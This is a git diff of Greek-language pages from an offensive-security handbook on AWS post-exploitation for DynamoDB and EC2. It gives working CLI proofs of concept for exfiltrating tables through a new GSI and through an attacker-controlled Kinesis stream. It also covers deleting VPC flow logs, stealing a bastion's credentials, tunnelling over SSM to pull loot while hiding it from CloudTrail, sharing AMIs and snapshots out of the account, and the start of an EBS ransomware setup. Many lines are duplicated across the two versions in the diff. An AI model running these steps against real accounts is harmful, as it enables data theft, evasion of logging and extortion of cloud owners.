Δικαιώματα: `dynamodb:TransactWriteItems` στον στοχευόμενο πίνακα (και στο υποκείμενο στοιχείο). Δεν απαιτούνται δικαιώματα ανάγνωσης.
|
||||
|
||||
Potential Impact: Read arbitrary items (by primary key) from a table using only transactional write privileges via the returned cancellation reasons.
|
||||
|
||||
Πιθανός Αντίκτυπος: Ανάγνωση αυθαίρετων αντικειμένων (με βάση το πρωτεύον κλειδί) από έναν πίνακα χρησιμοποιώντας μόνο δικαιώματα εγγραφής συναλλαγής μέσω των επιστρεφόμενων λόγων ακύρωσης.
|
||||
Πιθανός Αντίκτυπος: Ανάγνωση αυθαίρετων στοιχείων (με βάση το πρωτεύον κλειδί) από έναν πίνακα χρησιμοποιώντας μόνο δικαιώματα transactional write μέσω των επιστρεφόμενων λόγων ακύρωσης.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
Παρακάμψτε τους περιορισμούς ανάγνωσης δημιουργώντας ένα Global Secondary Index (GSI) με `ProjectionType=ALL` σε ένα πεδίο χαμηλής εντροπίας, ορίστε αυτό το πεδίο σε μια σταθερή τιμή για όλα τα αντικείμενα, και στη συνέχεια κάντε `Query` στο index για να ανακτήσετε τα πλήρη αντικείμενα. Αυτό λειτουργεί ακόμη και αν το `Query`/`Scan` στον βασικό πίνακα απορρίπτεται, αρκεί να μπορείτε να κάνετε query στο index ARN.
|
||||
Παρακάμψτε τους περιορισμούς ανάγνωσης δημιουργώντας ένα Global Secondary Index (GSI) με `ProjectionType=ALL` σε ένα πεδίο χαμηλής εντροπίας, ορίστε αυτό το πεδίο σε μια σταθερή τιμή για όλα τα στοιχεία, και στη συνέχεια κάντε `Query` στο index για να ανακτήσετε ολόκληρα τα στοιχεία. Αυτό λειτουργεί ακόμη και αν το `Query`/`Scan` στον βασικό πίνακα απορρίπτεται, εφόσον μπορείτε να κάνετε query στο index ARN.
|
||||
|
||||
- Minimum permissions:
|
||||
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
- Ελάχιστα δικαιώματα:
|
||||
- `dynamodb:UpdateTable` στον στοχευόμενο πίνακα (για να δημιουργήσετε το GSI με `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` στα κλειδιά του στοχευόμενου πίνακα (για να ορίσετε το ευρετηριασμένο πεδίο σε κάθε στοιχείο).
|
||||
- `dynamodb:Query` στο ARN πόρου του index (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Steps (PoC in us-east-1):
|
||||
Βήματα (PoC στο us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
@@ -463,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Πιθανός Αντίκτυπος:** Full table exfiltration by querying a newly created GSI that projects all attributes, even when base table read APIs are denied.
|
||||
**Potential Impact:** Πλήρης exfiltration ενός πίνακα με ερώτημα σε έναν νεοδημιουργημένο GSI που προβάλλει όλα τα attributes, ακόμα κι όταν οι base table read APIs απορρίπτονται.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Συνεχής exfiltration via Kinesis Data Streams)
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Συνεχής exfiltration μέσω Kinesis Data Streams)
|
||||
|
||||
Κατάχρηση των DynamoDB Kinesis streaming destinations για να exfiltrate συνεχώς τις αλλαγές από έναν πίνακα σε ένα attacker-controlled Kinesis Data Stream. Μόλις ενεργοποιηθεί, every INSERT/MODIFY/REMOVE event προωθείται near real-time στο stream χωρίς να απαιτούνται read permissions στον πίνακα.
|
||||
Κατάχρηση των DynamoDB Kinesis streaming destinations για να exfiltrate συνεχώς τις αλλαγές από έναν πίνακα σε ένα attacker-controlled Kinesis Data Stream. Μόλις ενεργοποιηθεί, κάθε INSERT/MODIFY/REMOVE event προωθείται σχεδόν σε πραγματικό χρόνο στο stream χωρίς να απαιτούνται read permissions στον πίνακα.
|
||||
|
||||
Minimum permissions (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
|
||||
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -532,8 +530,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**Potential Impact:** Συνεχής, σχεδόν σε πραγματικό χρόνο exfiltration των αλλαγών στον πίνακα σε ένα attacker-controlled Kinesis stream χωρίς άμεσες λειτουργίες ανάγνωσης στον πίνακα.
|
||||
**Πιθανός Αντίκτυπος:** Συνεχής, σχεδόν σε πραγματικό χρόνο exfiltration των αλλαγών του πίνακα σε attacker-controlled Kinesis stream χωρίς απευθείας λειτουργίες ανάγνωσης στον πίνακα.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+117
-52
@@ -4,26 +4,26 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε:
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### **Κακόβουλο VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
Η αναπαραγωγή της κίνησης VPC **αντιγράφει την εισερχόμενη και εξερχόμενη κίνηση για τις EC2 περιπτώσεις εντός ενός VPC** χωρίς την ανάγκη εγκατάστασης οτιδήποτε στις ίδιες τις περιπτώσεις. Αυτή η αντιγραμμένη κίνηση θα αποστέλλεται συνήθως σε κάτι όπως ένα σύστημα ανίχνευσης δικτυακής εισβολής (IDS) για ανάλυση και παρακολούθηση.\
|
||||
Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να συλλάβει όλη την κίνηση και να αποκτήσει ευαίσθητες πληροφορίες από αυτήν:
|
||||
Το VPC traffic mirroring **αντιγράφει την εισερχόμενη και εξερχόμενη κυκλοφορία για EC2 instances εντός ενός VPC** χωρίς την ανάγκη εγκατάστασης οτιδήποτε στα ίδια τα instances. Αυτή η αντιγραμμένη κυκλοφορία συνήθως αποστέλλεται σε κάτι σαν network intrusion detection system (IDS) για ανάλυση και παρακολούθηση.\
|
||||
Ένας επιτιθέμενος θα μπορούσε να καταχραστεί αυτό για να καταγράψει όλη την κυκλοφορία και να αποκτήσει ευαίσθητες πληροφορίες από αυτή:
|
||||
|
||||
Για περισσότερες πληροφορίες ελέγξτε αυτή τη σελίδα:
|
||||
Για περισσότερες πληροφορίες δείτε αυτή τη σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Αντιγραφή Εκτελούμενης Περίπτωσης
|
||||
### Copy Running Instance
|
||||
|
||||
Οι περιπτώσεις συνήθως περιέχουν κάποια ευαίσθητη πληροφορία. Υπάρχουν διάφοροι τρόποι για να μπείτε μέσα (ελέγξτε [tricks ανύψωσης προνομίων EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Ωστόσο, ένας άλλος τρόπος για να ελέγξετε τι περιέχει είναι να **δημιουργήσετε ένα AMI και να εκτελέσετε μια νέα περίπτωση (ακόμα και στον δικό σας λογαριασμό) από αυτό**:
|
||||
Τα instances συνήθως περιέχουν κάποιο είδος ευαίσθητων πληροφοριών. Υπάρχουν διάφοροι τρόποι για να μπείτε (βλ. [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Ωστόσο, ένας άλλος τρόπος για να ελέγξετε τι περιέχει είναι να **create an AMI and run a new instance (even in your own account) from it**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,109 +49,174 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Τα snapshots είναι αντίγραφα ασφαλείας των volumes**, τα οποία συνήθως θα περιέχουν **ευαίσθητες πληροφορίες**, επομένως η εξέτασή τους θα πρέπει να αποκαλύψει αυτές τις πληροφορίες.\
|
||||
Αν βρείτε ένα **volume χωρίς snapshot** μπορείτε να: **Δημιουργήσετε ένα snapshot** και να εκτελέσετε τις παρακάτω ενέργειες ή απλά να **το τοποθετήσετε σε μια instance** μέσα στον λογαριασμό:
|
||||
**Snapshots are backups of volumes**, τα οποία συνήθως περιέχουν **ευαίσθητες πληροφορίες**, επομένως ο έλεγχός τους θα αποκαλύψει αυτές τις πληροφορίες.\
|
||||
Αν βρείτε ένα **volume without a snapshot** μπορείτε να: **Create a snapshot** και να εκτελέσετε τις ακόλουθες ενέργειες ή απλώς **mount it in an instance** μέσα στο λογαριασμό:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
Εξάγετε ένα EC2 AMI απευθείας σε S3 χρησιμοποιώντας `CreateStoreImageTask` για να αποκτήσετε ένα raw disk image χωρίς snapshot sharing. Αυτό επιτρέπει πλήρη offline forensics ή data theft ενώ αφήνει το networking του instance ανεπηρέαστο.
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
Συνδέστε έναν io1/io2 Multi-Attach volume σε ένα δεύτερο instance και κάντε mount read-only για να αποσπάσετε live data χωρίς snapshots. Χρήσιμο όταν το volume του θύματος έχει ήδη Multi-Attach ενεργοποιημένο στην ίδια AZ.
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
Δημιουργήστε ένα EC2 Instance Connect Endpoint, εξουσιοδοτήστε ingress, και εισάγετε ephemeral SSH keys για πρόσβαση σε private instances μέσω ενός managed tunnel. Παρέχει γρήγορους δρόμους lateral movement χωρίς να ανοίγονται δημόσιες θύρες.
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
Μετακινήστε τη δευτερεύουσα private IP του ENI του θύματος σε ένα ENI που ελέγχεται από τον επιτιθέμενο για να μιμηθείτε trusted hosts που είναι allowlisted ανά IP. Επιτρέπει την παράκαμψη εσωτερικών ACLs ή SG κανόνων που βασίζονται σε συγκεκριμένες διευθύνσεις.
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
Ανασυνδέστε ένα Elastic IP από το instance του θύματος στον επιτιθέμενο για να παρεμβληθείτε στην εισερχόμενη κίνηση ή να ξεκινήσετε εξερχόμενες συνδέσεις που φαίνεται να προέρχονται από trusted public IPs.
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
Αν ένας κανόνας security group αναφέρεται σε ένα customer-managed prefix list, η προσθήκη attacker CIDRs στη λίστα επεκτείνει αθόρυβα την πρόσβαση σε κάθε εξαρτώμενο SG κανόνα χωρίς να τροποποιηθεί το ίδιο το SG.
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
Δημιουργήστε gateway ή interface VPC endpoints για να επανακτήσετε εξερχόμενη πρόσβαση από απομονωμένα subnets. Η χρήση AWS-managed private links παρακάμπτει ελλείποντες IGW/NAT ελέγχους για data exfiltration.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Διευθύνετε τα VPC Flow Logs σε ένα S3 bucket που ελέγχεται από τον επιτιθέμενο για να συλλέγετε συνεχώς network metadata (source/destination, ports) εκτός του λογαριασμού του θύματος για μακροπρόθεσμη αναγνώριση.
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Data Exfiltration
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Ακόμα και αν κλειδώσετε ένα EC2 ώστε να μην μπορεί να βγει κανένα traffic, μπορεί ακόμα να **εξαχθεί μέσω DNS**.
|
||||
Ακόμα κι αν κλειδώσετε ένα EC2 ώστε να μην βγαίνει κίνηση, μπορεί να εξακολουθήσει να **exfil via DNS**.
|
||||
|
||||
- **Τα VPC Flow Logs δεν θα καταγράψουν αυτό**.
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- Δεν έχετε πρόσβαση στα AWS DNS logs.
|
||||
- Απενεργοποιήστε το αυτό ρυθμίζοντας το "enableDnsSupport" σε false με:
|
||||
- Απενεργοποιήστε αυτό θέτοντας "enableDnsSupport" σε false με:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να καλέσει API endpoints ενός λογαριασμού που ελέγχει. Το Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο επιτιθέμενος θα μπορεί να δει τα δεδομένα που έχουν εξαχθεί στα Cloudtrail logs.
|
||||
Ένας επιτιθέμενος μπορεί να καλέσει API endpoints ενός account που ελέγχει ο ίδιος. Cloudtrail θα καταγράψει αυτές τις κλήσεις και ο επιτιθέμενος θα μπορεί να δει τα exfiltrate δεδομένα στα Cloudtrail logs.
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Μπορείτε να αποκτήσετε περαιτέρω πρόσβαση σε υπηρεσίες δικτύου ανοίγοντας θύρες όπως αυτή:
|
||||
Μπορείτε να αποκτήσετε περαιτέρω πρόσβαση σε network services ανοίγοντας ports όπως αυτό:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
Είναι δυνατόν να εκτελέσετε μια EC2 instance και να την καταχωρήσετε για να χρησιμοποιηθεί για την εκτέλεση ECS instances και στη συνέχεια να κλέψετε τα δεδομένα των ECS instances.
|
||||
Είναι δυνατό να τρέξετε ένα EC2 instance και να το καταχωρήσετε ώστε να χρησιμοποιηθεί για την εκτέλεση ECS instances και στη συνέχεια να κλέψετε τα δεδομένα των ECS instances.
|
||||
|
||||
Για [**περισσότερες πληροφορίες ελέγξτε αυτό**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
Για [**περισσότερες πληροφορίες δείτε αυτό**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### Remove VPC flow logs
|
||||
### Αφαίρεση VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
Required permissions:
|
||||
Απαιτούμενα δικαιώματα:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
Εκτός από την εκτέλεση εντολών, το SSM επιτρέπει τη σήραγγα κυκλοφορίας, η οποία μπορεί να καταχραστεί για να γίνει pivot από EC2 instances που δεν έχουν πρόσβαση στο δίκτυο λόγω Security Groups ή NACLs. Ένα από τα σενάρια όπου αυτό είναι χρήσιμο είναι το pivoting από ένα [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) σε ένα ιδιωτικό EKS cluster.
|
||||
Επιπλέον της εκτέλεσης εντολών, το SSM επιτρέπει traffic tunneling το οποίο μπορεί να καταχραστεί για να pivot από EC2 instances που δεν έχουν πρόσβαση δικτύου λόγω Security Groups ή NACLs.
|
||||
Ένα από τα σενάρια όπου αυτό είναι χρήσιμο είναι το pivoting από έναν [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) σε ένα ιδιωτικό EKS cluster.
|
||||
|
||||
> Για να ξεκινήσετε μια συνεδρία, χρειάζεστε το SessionManagerPlugin εγκατεστημένο: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> Για να ξεκινήσετε μια συνεδρία χρειάζεται να έχετε εγκαταστήσει το SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. Εγκαταστήστε το SessionManagerPlugin στη μηχανή σας
|
||||
1. Εγκαταστήστε το SessionManagerPlugin στο μηχάνημά σας
|
||||
2. Συνδεθείτε στο Bastion EC2 χρησιμοποιώντας την παρακάτω εντολή:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Πάρτε τα προσωρινά διαπιστευτήρια Bastion EC2 AWS με το [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. Μεταφέρετε τα διαπιστευτήρια στον δικό σας υπολογιστή στο αρχείο `$HOME/.aws/credentials` ως προφίλ `[bastion-ec2]`
|
||||
5. Συνδεθείτε στο EKS ως Bastion EC2:
|
||||
3. Πάρε τα προσωρινά credentials του Bastion EC2 AWS με το script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Μετέφερε τα credentials στο δικό σου μηχάνημα στο αρχείο `$HOME/.aws/credentials` ως προφίλ `[bastion-ec2]`
|
||||
5. Συνδέσου στο EKS ως το Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Ενημερώστε το πεδίο `server` στο αρχείο `$HOME/.kube/config` ώστε να δείχνει στο `https://localhost`
|
||||
6. Ενημερώστε το πεδίο `server` στο αρχείο `$HOME/.kube/config` ώστε να δείχνει σε `https://localhost`
|
||||
7. Δημιουργήστε ένα SSM tunnel ως εξής:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Η κίνηση από το εργαλείο `kubectl` προωθείται τώρα μέσω του τούνελ SSM μέσω του Bastion EC2 και μπορείτε να έχετε πρόσβαση στο ιδιωτικό EKS cluster από τον υπολογιστή σας εκτελώντας:
|
||||
8. Η κίνηση από το εργαλείο `kubectl` προωθείται τώρα μέσω του SSM tunnel μέσω του Bastion EC2 και μπορείτε να αποκτήσετε πρόσβαση στο ιδιωτικό EKS cluster από τον δικό σας υπολογιστή εκτελώντας:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Σημειώστε ότι οι συνδέσεις SSL θα αποτύχουν εκτός αν ορίσετε την παράμετρο `--insecure-skip-tls-verify` (ή την αντίστοιχη στα εργαλεία ελέγχου K8s). Δεδομένου ότι η κίνηση είναι τούνελ μέσω της ασφαλούς AWS SSM τούνελ, είστε ασφαλείς από οποιοδήποτε είδος επιθέσεων MitM.
|
||||
Σημειώστε ότι οι συνδέσεις SSL θα αποτύχουν εκτός αν ορίσετε την παράμετρο `--insecure-skip-tls-verify ` (ή το αντίστοιχό της σε εργαλεία audit του K8s). Εφόσον η κίνηση δρομολογείται μέσω του ασφαλούς AWS SSM tunnel, είστε προστατευμένοι από οποιαδήποτε μορφή επιθέσεων MitM.
|
||||
|
||||
Τέλος, αυτή η τεχνική δεν είναι συγκεκριμένη για επιθέσεις σε ιδιωτικά EKS clusters. Μπορείτε να ορίσετε αυθαίρετους τομείς και θύρες για να μεταβείτε σε οποιαδήποτε άλλη υπηρεσία AWS ή σε μια προσαρμοσμένη εφαρμογή.
|
||||
Τέλος, αυτή η τεχνική δεν είναι συγκεκριμένη για επιθέσεις σε private EKS clusters. Μπορείτε να ορίσετε αυθαίρετα domains και ports για να κάνετε pivot σε οποιαδήποτε άλλη υπηρεσία AWS ή σε μια προσαρμοσμένη εφαρμογή.
|
||||
|
||||
---
|
||||
|
||||
#### Γρήγορη Τοπική ↔️ Απομακρυσμένη Προώθηση Θύρας (AWS-StartPortForwardingSession)
|
||||
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
|
||||
|
||||
Αν χρειάζεστε μόνο να προωθήσετε **μία θύρα TCP από την EC2 instance στον τοπικό σας υπολογιστή**, μπορείτε να χρησιμοποιήσετε το έγγραφο SSM `AWS-StartPortForwardingSession` (δεν απαιτείται παράμετρος απομακρυσμένου υπολογιστή):
|
||||
Αν χρειάζεται μόνο να προωθήσετε **μία TCP θύρα από το EC2 instance προς τον τοπικό σας υπολογιστή** μπορείτε να χρησιμοποιήσετε το SSM document `AWS-StartPortForwardingSession` (δεν απαιτείται παράμετρος remote host):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
Η εντολή δημιουργεί ένα αμφίδρομο τούνελ μεταξύ του υπολογιστή σας (`localPortNumber`) και της επιλεγμένης θύρας (`portNumber`) στην περίπτωση **χωρίς να ανοίξει κανέναν κανόνα εισερχόμενης ασφάλειας**.
|
||||
Η εντολή δημιουργεί ένα αμφίδρομο tunnel ανάμεσα στον υπολογιστή εργασίας σας (`localPortNumber`) και την επιλεγμένη θύρα (`portNumber`) στο instance **χωρίς να ανοίξει κανόνες εισερχόμενων Security-Group**.
|
||||
|
||||
Κοινές περιπτώσεις χρήσης:
|
||||
Συχνές περιπτώσεις χρήσης:
|
||||
|
||||
* **Εξαγωγή αρχείων**
|
||||
1. Στην περίπτωση, ξεκινήστε έναν γρήγορο HTTP server που δείχνει στον κατάλογο που θέλετε να εξαγάγετε:
|
||||
* **File exfiltration**
|
||||
1. Στο instance, ξεκινήστε έναν γρήγορο HTTP server που δείχνει στον κατάλογο που θέλετε να exfiltrate:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. Από τον υπολογιστή σας, αποκτήστε τα αρχεία μέσω του SSM τούνελ:
|
||||
2. Από τον υπολογιστή εργασίας σας, κατεβάστε τα αρχεία μέσω του SSM tunnel:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **Πρόσβαση σε εσωτερικές διαδικτυακές εφαρμογές (π.χ. Nessus)**
|
||||
* **Accessing internal web applications (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -159,28 +224,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
Συμβουλή: Συμπιέστε και κρυπτογραφήστε τα αποδεικτικά στοιχεία πριν από την εξαγωγή τους, ώστε το CloudTrail να μην καταγράψει το περιεχόμενο σε καθαρό κείμενο:
|
||||
Συμβουλή: Compress και encrypt τα αποδεικτικά στοιχεία πριν από το exfiltrating, ώστε το CloudTrail να μην καταγράφει το clear-text content:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
```
|
||||
### Μοιραστείτε το AMI
|
||||
### Κοινή χρήση AMI
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Αναζήτηση ευαίσθητων πληροφοριών σε δημόσιες και ιδιωτικές AMIs
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): Το CloudShovel είναι ένα εργαλείο σχεδιασμένο για **να αναζητά ευαίσθητες πληροφορίες εντός δημόσιων ή ιδιωτικών Amazon Machine Images (AMIs)**. Αυτοματοποιεί τη διαδικασία εκκίνησης στιγμιότυπων από στοχευμένες AMIs, τοποθέτησης των τόμων τους και σάρωσης για πιθανά μυστικά ή ευαίσθητα δεδομένα.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): Το CloudShovel είναι ένα εργαλείο σχεδιασμένο για να **αναζητά ευαίσθητες πληροφορίες σε δημόσιες ή ιδιωτικές Amazon Machine Images (AMIs)**. Αυτοματοποιεί τη διαδικασία εκκίνησης instances από τις στοχευόμενες AMIs, την προσάρτηση των volumes τους και τη σάρωση για πιθανά secrets ή ευαίσθητα δεδομένα.
|
||||
|
||||
### Κοινή χρήση στιγμιότυπου EBS
|
||||
### Κοινή χρήση EBS Snapshot
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Μια απόδειξη της έννοιας παρόμοια με την επίδειξη Ransomware που παρουσιάστηκε στις σημειώσεις post-exploitation S3. Το KMS θα έπρεπε να μετονομαστεί σε RMS για Ransomware Management Service με το πόσο εύκολο είναι να χρησιμοποιηθεί για την κρυπτογράφηση διαφόρων υπηρεσιών AWS χρησιμοποιώντας το.
|
||||
Ένα proof of concept παρόμοιο με την επίδειξη Ransomware που περιγράφεται στις σημειώσεις post-exploitation για το S3. Το KMS θα έπρεπε να μετονομαστεί σε RMS (Ransomware Management Service), λόγω του πόσο εύκολο είναι να χρησιμοποιηθεί για να κρυπτογραφήσει διάφορες υπηρεσίες AWS.
|
||||
|
||||
Πρώτα από έναν λογαριασμό AWS 'επιτιθέμενου', δημιουργήστε ένα κλειδί διαχείρισης πελάτη στο KMS. Για αυτό το παράδειγμα, θα αφήσουμε το AWS να διαχειριστεί τα δεδομένα του κλειδιού για μένα, αλλά σε ένα ρεαλιστικό σενάριο, ένας κακόβουλος παράγοντας θα διατηρούσε τα δεδομένα του κλειδιού εκτός του ελέγχου του AWS. Αλλάξτε την πολιτική του κλειδιού για να επιτρέψετε σε οποιονδήποτε Principal λογαριασμού AWS να χρησιμοποιήσει το κλειδί. Για αυτή την πολιτική κλειδιού, το όνομα του λογαριασμού ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει σε όλους την πρόσβαση ονομάζεται 'Outside Encryption'
|
||||
Πρώτα, από έναν λογαριασμό AWS 'attacker', δημιούργησε ένα customer managed key στο KMS. Σ'αυτό το παράδειγμα θα αφήσουμε την AWS να διαχειρίζεται τα δεδομένα του κλειδιού για εμάς, αλλά σε ρεαλιστικό σενάριο ένας κακόβουλος φορέας θα κρατούσε τα δεδομένα του κλειδιού εκτός του ελέγχου της AWS. Αλλάξτε την key policy ώστε να επιτρέπει σε οποιονδήποτε AWS account Principal να χρησιμοποιεί το κλειδί. Για αυτή την key policy, το όνομα του λογαριασμού ήταν 'AttackSim' και ο κανόνας πολιτικής που επιτρέπει πλήρη πρόσβαση ονομάζεται 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -272,7 +337,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
Η πολιτική κλειδιού χρειάζεται τα εξής ενεργοποιημένα για να επιτρέψει τη χρήση της για την κρυπτογράφηση ενός EBS volume:
|
||||
